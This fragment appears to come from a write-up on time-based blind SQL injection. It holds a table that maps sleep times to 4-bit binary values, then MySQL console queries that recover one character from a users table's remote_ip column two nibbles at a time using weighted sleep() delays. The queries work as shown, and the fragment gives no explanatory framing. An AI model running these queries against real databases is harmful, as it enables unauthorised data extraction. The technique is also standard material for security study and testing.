Sleep |
Binary |
15 |
1111 |
14 |
1110 |
13 |
1101 |
12 |
1100 |
11 |
1011 |
10 |
1010 |
9 |
1001 |
8 |
1000 |
7 |
0111 |
6 |
0110 |
5 |
0101 |
4 |
0100 |
3 |
0011 |
2 |
0010 |
1 |
0001 |
0 |
0000 |
mysql> SELECT if(1, sleep(1), 1);
(1.00 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1);
(1.01 sec)
mysql> SELECT if(1, sleep(1), 1) + if(0, sleep(1), 1) + if(1, sleep(1), 1);
(2.00 sec)
mysql> set @letter=(insert((select(remote_ip)from(users)),2,99,space(0)));
mysql> select if(ord(@letter)&128=128,sleep(8),0)+if(ord(@letter)&64=64,sleep(4),0)+if(ord(@letter)&32=32,sleep(2),0)+if(ord(@letter)&16=16,sleep(1),0);
(3.00 sec) -> 0011
mysql> select if(ord(@letter)&8=8,sleep(8),0)+if(ord(@letter)&4=4,sleep(4),0)+if(ord(@letter)&2=2,sleep(2),0)+if(ord(@letter)&1=1,sleep(1),0);
(1.00 sec) -> 0001
mysql> select char(cast(0b00110001 as unsigned integer))=@letter;
True